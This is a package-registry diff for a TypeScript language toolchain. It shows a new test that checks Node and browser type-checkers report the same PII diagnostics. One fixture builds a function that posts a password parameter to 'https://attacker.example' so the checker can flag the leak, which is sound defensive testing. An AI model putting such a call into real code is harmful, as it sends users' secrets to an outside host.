@aster-cloud/aster-lang-ts 0.1.5 → 0.2.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (243) hide show
  1. package/CHANGELOG.md +72 -0
  2. package/LICENSE +201 -0
  3. package/README.md +2 -0
  4. package/dist/scripts/core-ir-json.d.ts +3 -0
  5. package/dist/scripts/core-ir-json.d.ts.map +1 -0
  6. package/dist/scripts/core-ir-json.js +72 -0
  7. package/dist/scripts/core-ir-json.js.map +1 -0
  8. package/dist/scripts/golden.js +49 -0
  9. package/dist/scripts/golden.js.map +1 -1
  10. package/dist/src/ai/providers/anthropic.d.ts +17 -0
  11. package/dist/src/ai/providers/anthropic.d.ts.map +1 -1
  12. package/dist/src/ai/providers/anthropic.js +58 -15
  13. package/dist/src/ai/providers/anthropic.js.map +1 -1
  14. package/dist/src/ast/ast.d.ts +2 -2
  15. package/dist/src/ast/ast.d.ts.map +1 -1
  16. package/dist/src/ast/ast.js +5 -2
  17. package/dist/src/ast/ast.js.map +1 -1
  18. package/dist/src/browser/schema.d.ts +52 -0
  19. package/dist/src/browser/schema.d.ts.map +1 -0
  20. package/dist/src/browser/schema.js +205 -0
  21. package/dist/src/browser/schema.js.map +1 -0
  22. package/dist/src/browser.d.ts +19 -54
  23. package/dist/src/browser.d.ts.map +1 -1
  24. package/dist/src/browser.js +30 -188
  25. package/dist/src/browser.js.map +1 -1
  26. package/dist/src/cli/policy-converter.js +8 -1
  27. package/dist/src/cli/policy-converter.js.map +1 -1
  28. package/dist/src/config/effect_config.d.ts.map +1 -1
  29. package/dist/src/config/effect_config.js +7 -1
  30. package/dist/src/config/effect_config.js.map +1 -1
  31. package/dist/src/config/lexicons/de-DE.d.ts.map +1 -1
  32. package/dist/src/config/lexicons/de-DE.js +1 -0
  33. package/dist/src/config/lexicons/de-DE.js.map +1 -1
  34. package/dist/src/config/lexicons/en-US.d.ts.map +1 -1
  35. package/dist/src/config/lexicons/en-US.js +1 -0
  36. package/dist/src/config/lexicons/en-US.js.map +1 -1
  37. package/dist/src/config/lexicons/fallback-lexicon.d.ts +41 -0
  38. package/dist/src/config/lexicons/fallback-lexicon.d.ts.map +1 -0
  39. package/dist/src/config/lexicons/fallback-lexicon.js +88 -0
  40. package/dist/src/config/lexicons/fallback-lexicon.js.map +1 -0
  41. package/dist/src/config/lexicons/identifiers/registry.d.ts +9 -0
  42. package/dist/src/config/lexicons/identifiers/registry.d.ts.map +1 -1
  43. package/dist/src/config/lexicons/identifiers/registry.js +12 -0
  44. package/dist/src/config/lexicons/identifiers/registry.js.map +1 -1
  45. package/dist/src/config/lexicons/index.d.ts +25 -3
  46. package/dist/src/config/lexicons/index.d.ts.map +1 -1
  47. package/dist/src/config/lexicons/index.js +42 -7
  48. package/dist/src/config/lexicons/index.js.map +1 -1
  49. package/dist/src/config/lexicons/registry.d.ts.map +1 -1
  50. package/dist/src/config/lexicons/registry.js +43 -5
  51. package/dist/src/config/lexicons/registry.js.map +1 -1
  52. package/dist/src/config/lexicons/template.d.ts.map +1 -1
  53. package/dist/src/config/lexicons/template.js +2 -0
  54. package/dist/src/config/lexicons/template.js.map +1 -1
  55. package/dist/src/config/lexicons/zh-CN.d.ts.map +1 -1
  56. package/dist/src/config/lexicons/zh-CN.js +36 -20
  57. package/dist/src/config/lexicons/zh-CN.js.map +1 -1
  58. package/dist/src/config/semantic.d.ts +13 -0
  59. package/dist/src/config/semantic.d.ts.map +1 -1
  60. package/dist/src/config/semantic.js +17 -0
  61. package/dist/src/config/semantic.js.map +1 -1
  62. package/dist/src/config/token-kind.d.ts +2 -0
  63. package/dist/src/config/token-kind.d.ts.map +1 -1
  64. package/dist/src/config/token-kind.js +3 -1
  65. package/dist/src/config/token-kind.js.map +1 -1
  66. package/dist/src/core/core_ir.d.ts +2 -2
  67. package/dist/src/core/core_ir.d.ts.map +1 -1
  68. package/dist/src/core/core_ir.js +5 -2
  69. package/dist/src/core/core_ir.js.map +1 -1
  70. package/dist/src/core/interpreter.js +6 -1
  71. package/dist/src/core/interpreter.js.map +1 -1
  72. package/dist/src/core/visitor.d.ts.map +1 -1
  73. package/dist/src/core/visitor.js +17 -0
  74. package/dist/src/core/visitor.js.map +1 -1
  75. package/dist/src/diagnostics/error_codes.d.ts +2 -0
  76. package/dist/src/diagnostics/error_codes.d.ts.map +1 -1
  77. package/dist/src/diagnostics/error_codes.js +11 -5
  78. package/dist/src/diagnostics/error_codes.js.map +1 -1
  79. package/dist/src/effects/effect_inference_browser.d.ts.map +1 -1
  80. package/dist/src/effects/effect_inference_browser.js +22 -4
  81. package/dist/src/effects/effect_inference_browser.js.map +1 -1
  82. package/dist/src/frontend/canonicalizer.d.ts +33 -0
  83. package/dist/src/frontend/canonicalizer.d.ts.map +1 -1
  84. package/dist/src/frontend/canonicalizer.js +77 -5
  85. package/dist/src/frontend/canonicalizer.js.map +1 -1
  86. package/dist/src/frontend/lexer.d.ts.map +1 -1
  87. package/dist/src/frontend/lexer.js +7 -1
  88. package/dist/src/frontend/lexer.js.map +1 -1
  89. package/dist/src/jvm/emitter.js +2 -2
  90. package/dist/src/jvm/emitter.js.map +1 -1
  91. package/dist/src/lower_to_core.js +2 -2
  92. package/dist/src/lower_to_core.js.map +1 -1
  93. package/dist/src/lsp/config.d.ts +13 -9
  94. package/dist/src/lsp/config.d.ts.map +1 -1
  95. package/dist/src/lsp/config.js +19 -5
  96. package/dist/src/lsp/config.js.map +1 -1
  97. package/dist/src/lsp/diagnostics.d.ts +10 -0
  98. package/dist/src/lsp/diagnostics.d.ts.map +1 -1
  99. package/dist/src/lsp/diagnostics.js +43 -1
  100. package/dist/src/lsp/diagnostics.js.map +1 -1
  101. package/dist/src/lsp/pii_diagnostics.d.ts.map +1 -1
  102. package/dist/src/lsp/pii_diagnostics.js +4 -1
  103. package/dist/src/lsp/pii_diagnostics.js.map +1 -1
  104. package/dist/src/lsp/server.js +49 -17
  105. package/dist/src/lsp/server.js.map +1 -1
  106. package/dist/src/lsp/utils.js +1 -1
  107. package/dist/src/lsp/utils.js.map +1 -1
  108. package/dist/src/parser/context.d.ts.map +1 -1
  109. package/dist/src/parser/context.js +32 -12
  110. package/dist/src/parser/context.js.map +1 -1
  111. package/dist/src/parser/decl-parser.d.ts +2 -2
  112. package/dist/src/parser/decl-parser.d.ts.map +1 -1
  113. package/dist/src/parser/decl-parser.js +113 -14
  114. package/dist/src/parser/decl-parser.js.map +1 -1
  115. package/dist/src/parser/expr-stmt-parser.d.ts.map +1 -1
  116. package/dist/src/parser/expr-stmt-parser.js +111 -4
  117. package/dist/src/parser/expr-stmt-parser.js.map +1 -1
  118. package/dist/src/parser/import-parser.d.ts +3 -2
  119. package/dist/src/parser/import-parser.d.ts.map +1 -1
  120. package/dist/src/parser/import-parser.js +12 -3
  121. package/dist/src/parser/import-parser.js.map +1 -1
  122. package/dist/src/parser/input-generator.d.ts +2 -0
  123. package/dist/src/parser/input-generator.d.ts.map +1 -1
  124. package/dist/src/parser/input-generator.js +11 -1
  125. package/dist/src/parser/input-generator.js.map +1 -1
  126. package/dist/src/parser/type-parser.js +1 -1
  127. package/dist/src/parser/type-parser.js.map +1 -1
  128. package/dist/src/typecheck/alias.d.ts +24 -0
  129. package/dist/src/typecheck/alias.d.ts.map +1 -0
  130. package/dist/src/typecheck/alias.js +30 -0
  131. package/dist/src/typecheck/alias.js.map +1 -0
  132. package/dist/src/typecheck/browser.d.ts +41 -4
  133. package/dist/src/typecheck/browser.d.ts.map +1 -1
  134. package/dist/src/typecheck/browser.js +189 -14
  135. package/dist/src/typecheck/browser.js.map +1 -1
  136. package/dist/src/typecheck/context.js +1 -1
  137. package/dist/src/typecheck/context.js.map +1 -1
  138. package/dist/src/typecheck/effects.d.ts.map +1 -1
  139. package/dist/src/typecheck/effects.js +18 -4
  140. package/dist/src/typecheck/effects.js.map +1 -1
  141. package/dist/src/typecheck/expression.js +1 -1
  142. package/dist/src/typecheck/expression.js.map +1 -1
  143. package/dist/src/typecheck/generics.js +1 -1
  144. package/dist/src/typecheck/generics.js.map +1 -1
  145. package/dist/src/typecheck/module.d.ts.map +1 -1
  146. package/dist/src/typecheck/module.js +13 -8
  147. package/dist/src/typecheck/module.js.map +1 -1
  148. package/dist/src/typecheck/pattern.js +1 -1
  149. package/dist/src/typecheck/pattern.js.map +1 -1
  150. package/dist/src/typecheck/pure.d.ts +66 -0
  151. package/dist/src/typecheck/pure.d.ts.map +1 -0
  152. package/dist/src/typecheck/pure.js +163 -0
  153. package/dist/src/typecheck/pure.js.map +1 -0
  154. package/dist/src/typecheck/statement.js +1 -1
  155. package/dist/src/typecheck/statement.js.map +1 -1
  156. package/dist/src/typecheck/type_system.d.ts +6 -1
  157. package/dist/src/typecheck/type_system.d.ts.map +1 -1
  158. package/dist/src/typecheck/type_system.js +61 -13
  159. package/dist/src/typecheck/type_system.js.map +1 -1
  160. package/dist/src/typecheck/utils.d.ts +4 -69
  161. package/dist/src/typecheck/utils.d.ts.map +1 -1
  162. package/dist/src/typecheck/utils.js +17 -170
  163. package/dist/src/typecheck/utils.js.map +1 -1
  164. package/dist/src/typecheck/workflow.js +1 -1
  165. package/dist/src/typecheck/workflow.js.map +1 -1
  166. package/dist/src/typecheck-pii.d.ts.map +1 -1
  167. package/dist/src/typecheck-pii.js +11 -1
  168. package/dist/src/typecheck-pii.js.map +1 -1
  169. package/dist/src/types/base.d.ts +1 -0
  170. package/dist/src/types/base.d.ts.map +1 -1
  171. package/dist/src/types.d.ts +18 -0
  172. package/dist/src/types.d.ts.map +1 -1
  173. package/dist/src/types.js +1 -0
  174. package/dist/src/types.js.map +1 -1
  175. package/dist/test/e2e/runner/golden-runner.js +21 -10
  176. package/dist/test/e2e/runner/golden-runner.js.map +1 -1
  177. package/dist/test/integration/compliance/compliance-smoke.test.js +27 -35
  178. package/dist/test/integration/compliance/compliance-smoke.test.js.map +1 -1
  179. package/dist/test/integration/lsp/lsp-multi-rename.test.js +8 -7
  180. package/dist/test/integration/lsp/lsp-multi-rename.test.js.map +1 -1
  181. package/dist/test/policy-converter/round-trip.test.js +6 -4
  182. package/dist/test/policy-converter/round-trip.test.js.map +1 -1
  183. package/dist/test/regression/type-checker-golden.test.js +8 -4
  184. package/dist/test/regression/type-checker-golden.test.js.map +1 -1
  185. package/dist/test/type-checker/cross-module-packages.test.js +5 -3
  186. package/dist/test/type-checker/cross-module-packages.test.js.map +1 -1
  187. package/dist/test/type-checker/pii-propagation.test.js +24 -18
  188. package/dist/test/type-checker/pii-propagation.test.js.map +1 -1
  189. package/dist/test/unit/browser/typecheck-browser-pii-failure.test.d.ts +2 -0
  190. package/dist/test/unit/browser/typecheck-browser-pii-failure.test.d.ts.map +1 -0
  191. package/dist/test/unit/browser/typecheck-browser-pii-failure.test.js +193 -0
  192. package/dist/test/unit/browser/typecheck-browser-pii-failure.test.js.map +1 -0
  193. package/dist/test/unit/browser/typecheck-browser-unsupported.test.d.ts +2 -0
  194. package/dist/test/unit/browser/typecheck-browser-unsupported.test.d.ts.map +1 -0
  195. package/dist/test/unit/browser/typecheck-browser-unsupported.test.js +110 -0
  196. package/dist/test/unit/browser/typecheck-browser-unsupported.test.js.map +1 -0
  197. package/dist/test/unit/canonicalizer/canonicalizer.test.js +91 -1
  198. package/dist/test/unit/canonicalizer/canonicalizer.test.js.map +1 -1
  199. package/dist/test/unit/canonicalizer/cjk-punctuation.test.d.ts +2 -0
  200. package/dist/test/unit/canonicalizer/cjk-punctuation.test.d.ts.map +1 -0
  201. package/dist/test/unit/canonicalizer/cjk-punctuation.test.js +118 -0
  202. package/dist/test/unit/canonicalizer/cjk-punctuation.test.js.map +1 -0
  203. package/dist/test/unit/canonicalizer/conformance-cjk-v2.test.d.ts +2 -0
  204. package/dist/test/unit/canonicalizer/conformance-cjk-v2.test.d.ts.map +1 -0
  205. package/dist/test/unit/canonicalizer/conformance-cjk-v2.test.js +40 -0
  206. package/dist/test/unit/canonicalizer/conformance-cjk-v2.test.js.map +1 -0
  207. package/dist/test/unit/config/lexicons/i18n.test.js +31 -14
  208. package/dist/test/unit/config/lexicons/i18n.test.js.map +1 -1
  209. package/dist/test/unit/config/lexicons/zh-CN.test.js +150 -143
  210. package/dist/test/unit/config/lexicons/zh-CN.test.js.map +1 -1
  211. package/dist/test/unit/keyword-translator.test.js +16 -19
  212. package/dist/test/unit/keyword-translator.test.js.map +1 -1
  213. package/dist/test/unit/lexicons/fallback-lexicon.test.d.ts +16 -0
  214. package/dist/test/unit/lexicons/fallback-lexicon.test.d.ts.map +1 -0
  215. package/dist/test/unit/lexicons/fallback-lexicon.test.js +98 -0
  216. package/dist/test/unit/lexicons/fallback-lexicon.test.js.map +1 -0
  217. package/dist/test/unit/llm-providers.test.js +105 -93
  218. package/dist/test/unit/llm-providers.test.js.map +1 -1
  219. package/dist/test/unit/lowering/lowering.test.js +12 -0
  220. package/dist/test/unit/lowering/lowering.test.js.map +1 -1
  221. package/dist/test/unit/parser/entry-annotations.test.d.ts +2 -0
  222. package/dist/test/unit/parser/entry-annotations.test.d.ts.map +1 -0
  223. package/dist/test/unit/parser/entry-annotations.test.js +110 -0
  224. package/dist/test/unit/parser/entry-annotations.test.js.map +1 -0
  225. package/dist/test/unit/parser/parser.test.js +30 -6
  226. package/dist/test/unit/parser/parser.test.js.map +1 -1
  227. package/dist/test/unit/scripts/verify-browser-entry.test.d.ts +2 -0
  228. package/dist/test/unit/scripts/verify-browser-entry.test.d.ts.map +1 -0
  229. package/dist/test/unit/scripts/verify-browser-entry.test.js +179 -0
  230. package/dist/test/unit/scripts/verify-browser-entry.test.js.map +1 -0
  231. package/dist/test/unit/typecheck/function-return-inference.test.d.ts +2 -0
  232. package/dist/test/unit/typecheck/function-return-inference.test.d.ts.map +1 -0
  233. package/dist/test/unit/typecheck/function-return-inference.test.js +79 -0
  234. package/dist/test/unit/typecheck/function-return-inference.test.js.map +1 -0
  235. package/dist/test/unit/typecheck/pii-cross-runtime-conformance.test.d.ts +2 -0
  236. package/dist/test/unit/typecheck/pii-cross-runtime-conformance.test.d.ts.map +1 -0
  237. package/dist/test/unit/typecheck/pii-cross-runtime-conformance.test.js +191 -0
  238. package/dist/test/unit/typecheck/pii-cross-runtime-conformance.test.js.map +1 -0
  239. package/dist/test/unit/typecheck/should-enforce-pii.test.js +25 -110
  240. package/dist/test/unit/typecheck/should-enforce-pii.test.js.map +1 -1
  241. package/dist/test/unit/typecheck/type-system.test.js +83 -3
  242. package/dist/test/unit/typecheck/type-system.test.js.map +1 -1
  243. package/package.json +41 -9
@@ -0,0 +1,191 @@
1
+ /**
2
+ * PII 跨运行时 conformance 测试 (P0-1 / ADR-0009 / P0-R 扩展)
3
+ *
4
+ * 验证 typecheckModule(LSP / Node 路径)和 typecheckBrowser(browser /
5
+ * CF Workers 路径)对同一 Core IR 模块产生**等价的 PII 诊断**。
6
+ *
7
+ * "等价"包含:
8
+ * - 相同的 PII 诊断 code 集合(所有 PII-related codes,不只 E070/E072/E073)
9
+ * - 相同的 severity(error vs warning)
10
+ * - 相同的诊断**计数**(不只是去重后的 set)
11
+ *
12
+ * 这是 ADR-0009 的核心承诺:PII 是一等公民,跨运行时一致。
13
+ * 任何 runtime 间的 drift 都是 P0 阻塞。
14
+ *
15
+ * **注意**:诊断**消息字符串**可能不同(locale 不同),但**code + severity +
16
+ * count** 必须一致。"等价"指 normalized PII diagnostic equivalence——
17
+ * 不是 message string byte 相等。
18
+ *
19
+ * P0-R 修复(codex review High #2 + #3):
20
+ * - PII_CODES 集合扩展到所有 PII-related codes(W071/W074/E400 等)
21
+ * - 断言完整 diagnostic shape(code + severity)而不只是 code 数组
22
+ * - 新增场景:HTTPS L3 / HTTP L2 / 降级赋值 / 参数违规 / 无 PII / 空模块
23
+ */
24
+ import { describe, it } from 'node:test';
25
+ import assert from 'node:assert/strict';
26
+ import { typecheckModule } from '../../../src/typecheck.js';
27
+ import { typecheckBrowser } from '../../../src/typecheck/browser.js';
28
+ import { Effect } from '../../../src/config/semantic.js';
29
+ import { ERROR_METADATA } from '../../../src/diagnostics/error_codes.js';
30
+ import { Core as CoreBuilder } from '../../../src/core/core_ir.js';
31
+ const IO_EFFECT = [Effect.IO];
32
+ /**
33
+ * PII codes 集合 —— **自动从 ERROR_METADATA 派生**。
34
+ *
35
+ * P0-R2 修复(codex review Medium #10 + #8):
36
+ * 原版手写硬编码集合的设计有维护风险——未来新增 PII code 必须同时更新此集合
37
+ * 否则 conformance 在该 code 上 drift 不会被测试捕获。改为从 ERROR_METADATA
38
+ * 自动 filter `category === 'pii'`,新增 PII code 时**自动**纳入集合。
39
+ *
40
+ * 实际包含的 codes(P0-R2 时刻):E070 E072 E073 W071 W074 E400 E401 E402
41
+ * E403 E404,共 10 个。元测试在底部断言集合非空且全部 category==='pii'。
42
+ */
43
+ const PII_CODES = new Set(Object.values(ERROR_METADATA)
44
+ .filter((meta) => meta.category === 'pii')
45
+ .map((meta) => meta.code));
46
+ function piiDiags(diags) {
47
+ return diags
48
+ .filter((d) => typeof d.code === 'string' && PII_CODES.has(d.code))
49
+ .map((d) => ({
50
+ code: String(d.code),
51
+ severity: (d.severity ?? 'error'),
52
+ }))
53
+ .sort((a, b) => a.code === b.code
54
+ ? a.severity.localeCompare(b.severity)
55
+ : a.code.localeCompare(b.code));
56
+ }
57
+ const TEXT = () => CoreBuilder.TypeName('Text');
58
+ const piiType = (level, category) => CoreBuilder.Pii(TEXT(), level, category);
59
+ const piiParam = (name, level) => ({
60
+ name,
61
+ type: piiType(level, 'email'),
62
+ });
63
+ function makeFunc(opts) {
64
+ return CoreBuilder.Func(opts.name, [], opts.params, opts.ret, opts.effects ?? IO_EFFECT, CoreBuilder.Block(opts.body), [], false);
65
+ }
66
+ function assertConformance(module, expectAtLeastOnePii, context) {
67
+ const nodeDiags = piiDiags(typecheckModule(module));
68
+ const browserDiags = piiDiags(typecheckBrowser(module));
69
+ if (expectAtLeastOnePii) {
70
+ assert.ok(nodeDiags.length > 0, `[${context}] Node 路径应产生至少一个 PII 诊断,实际:${JSON.stringify(nodeDiags)}`);
71
+ assert.ok(browserDiags.length > 0, `[${context}] Browser 路径应产生至少一个 PII 诊断(ADR-0009 P0-1),实际:${JSON.stringify(browserDiags)}`);
72
+ }
73
+ assert.deepEqual(nodeDiags, browserDiags, `[${context}] 跨运行时 PII 诊断 shape 必须一致\n` +
74
+ ` node: ${JSON.stringify(nodeDiags)}\n` +
75
+ ` browser: ${JSON.stringify(browserDiags)}`);
76
+ }
77
+ describe('PII 跨运行时 conformance (ADR-0009 P0-1 / P0-R 扩展)', () => {
78
+ it('场景 1:HTTPS sink 泄露 L3 PII', () => {
79
+ const httpImport = CoreBuilder.Import('Http', 'H');
80
+ const fn = makeFunc({
81
+ name: 'leak_password_via_https',
82
+ params: [piiParam('password', 'L3')],
83
+ ret: TEXT(),
84
+ effects: IO_EFFECT,
85
+ body: [
86
+ CoreBuilder.Return(CoreBuilder.Call(CoreBuilder.Name('H.post'), [
87
+ CoreBuilder.String('https://attacker.example'),
88
+ CoreBuilder.Name('password'),
89
+ ])),
90
+ ],
91
+ });
92
+ const module = CoreBuilder.Module('tests.pii.cross_runtime.http_leak', [httpImport, fn]);
93
+ assertConformance(module, true, 'L3 HTTPS sink');
94
+ });
95
+ it('场景 2:L2 PII over HTTP(明文)', () => {
96
+ const httpImport = CoreBuilder.Import('Http', 'Http');
97
+ const fn = makeFunc({
98
+ name: 'l2_over_http',
99
+ params: [piiParam('email', 'L2')],
100
+ ret: TEXT(),
101
+ effects: IO_EFFECT,
102
+ body: [
103
+ CoreBuilder.Return(CoreBuilder.Call(CoreBuilder.Name('Http.post'), [
104
+ CoreBuilder.String('http://api.example'),
105
+ CoreBuilder.Name('email'),
106
+ ])),
107
+ ],
108
+ });
109
+ const module = CoreBuilder.Module('tests.pii.cross_runtime.l2_http', [httpImport, fn]);
110
+ assertConformance(module, true, 'L2 HTTP plaintext');
111
+ });
112
+ it('场景 3:降级赋值 L3 PII → L1 变量', () => {
113
+ const fn = makeFunc({
114
+ name: 'downgrade_l3_to_l1',
115
+ params: [piiParam('ssn', 'L3'), piiParam('public_id', 'L1')],
116
+ ret: TEXT(),
117
+ effects: [Effect.PURE],
118
+ body: [
119
+ CoreBuilder.Let('alias', CoreBuilder.Name('public_id')),
120
+ CoreBuilder.Set('alias', CoreBuilder.Name('ssn')),
121
+ CoreBuilder.Return(CoreBuilder.Name('alias')),
122
+ ],
123
+ });
124
+ const module = CoreBuilder.Module('tests.pii.cross_runtime.downgrade', [fn]);
125
+ assertConformance(module, true, 'L3→L1 downgrade');
126
+ });
127
+ it('场景 4:参数违规(L2 PII → plain Text param)', () => {
128
+ const callee = makeFunc({
129
+ name: 'plain_handler',
130
+ params: [{ name: 'data', type: TEXT() }],
131
+ ret: TEXT(),
132
+ effects: [Effect.PURE],
133
+ body: [CoreBuilder.Return(CoreBuilder.Name('data'))],
134
+ });
135
+ const caller = makeFunc({
136
+ name: 'pii_to_plain',
137
+ params: [piiParam('email', 'L2')],
138
+ ret: TEXT(),
139
+ effects: [Effect.PURE],
140
+ body: [
141
+ CoreBuilder.Return(CoreBuilder.Call(CoreBuilder.Name('plain_handler'), [CoreBuilder.Name('email')])),
142
+ ],
143
+ });
144
+ const module = CoreBuilder.Module('tests.pii.cross_runtime.arg_violation', [callee, caller]);
145
+ assertConformance(module, true, 'arg violation');
146
+ });
147
+ it('场景 5:无 PII 代码不应误报', () => {
148
+ const fn = makeFunc({
149
+ name: 'no_pii',
150
+ params: [{ name: 'plain_text', type: TEXT() }],
151
+ ret: TEXT(),
152
+ effects: [Effect.PURE],
153
+ body: [CoreBuilder.Return(CoreBuilder.Name('plain_text'))],
154
+ });
155
+ const module = CoreBuilder.Module('tests.pii.cross_runtime.no_pii', [fn]);
156
+ const nodeDiags = piiDiags(typecheckModule(module));
157
+ const browserDiags = piiDiags(typecheckBrowser(module));
158
+ assert.equal(nodeDiags.length, 0, 'Node 路径不应在纯文本上误报 PII');
159
+ assert.equal(browserDiags.length, 0, 'Browser 路径不应在纯文本上误报 PII');
160
+ assert.deepEqual(nodeDiags, browserDiags);
161
+ });
162
+ it('场景 6:空模块不崩溃,0 PII 诊断', () => {
163
+ const module = CoreBuilder.Module('tests.pii.cross_runtime.empty', []);
164
+ const nodeDiags = piiDiags(typecheckModule(module));
165
+ const browserDiags = piiDiags(typecheckBrowser(module));
166
+ assert.deepEqual(nodeDiags, []);
167
+ assert.deepEqual(browserDiags, []);
168
+ });
169
+ it('元测试:PII_CODES 自动从 ERROR_METADATA 派生(防止再次漏掉新 code)', () => {
170
+ // P0-R2 (codex review Medium #10): 集合改为自动派生而非硬编码后,元测试
171
+ // 验证派生逻辑本身正确——不再用 hard-coded contains,而是断言所有
172
+ // category=='pii' 的 ErrorMetadata 都在集合中。
173
+ const expectedFromMetadata = Object.values(ERROR_METADATA)
174
+ .filter((meta) => meta.category === 'pii')
175
+ .map((meta) => meta.code);
176
+ assert.ok(expectedFromMetadata.length >= 7, `ERROR_METADATA 中 category=='pii' 的 codes 应 ≥ 7 个,实际 ${expectedFromMetadata.length} 个`);
177
+ for (const expected of expectedFromMetadata) {
178
+ assert.ok(PII_CODES.has(expected), `PII_CODES 应包含从 ERROR_METADATA 派生的 ${expected}`);
179
+ }
180
+ assert.equal(PII_CODES.size, expectedFromMetadata.length, `PII_CODES 大小 ${PII_CODES.size} 应等于 metadata 派生数 ${expectedFromMetadata.length}(防止额外手工注入)`);
181
+ // 关键 codes 必须存在(这些是 checkModulePII 实际 emit 的)
182
+ assert.ok(PII_CODES.has('E070'), 'PII_ASSIGN_DOWNGRADE (E070) 必须在集合');
183
+ assert.ok(PII_CODES.has('E072'), 'PII_SINK_UNSANITIZED (E072) 必须在集合');
184
+ assert.ok(PII_CODES.has('E073'), 'PII_ARG_VIOLATION (E073) 必须在集合');
185
+ assert.ok(PII_CODES.has('W071'), 'PII_IMPLICIT_UPLEVEL (W071) 必须在集合');
186
+ assert.ok(PII_CODES.has('W074'), 'PII_SINK_UNKNOWN (W074) 必须在集合');
187
+ assert.ok(PII_CODES.has('E400'), 'PII_HTTP_UNENCRYPTED (E400) 必须在集合');
188
+ assert.ok(PII_CODES.has('E404'), 'PII_ANALYZER_FAILED (E404) 必须在集合');
189
+ });
190
+ });
191
+ //# sourceMappingURL=pii-cross-runtime-conformance.test.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"pii-cross-runtime-conformance.test.js","sourceRoot":"","sources":["../../../../test/unit/typecheck/pii-cross-runtime-conformance.test.ts"],"names":[],"mappings":"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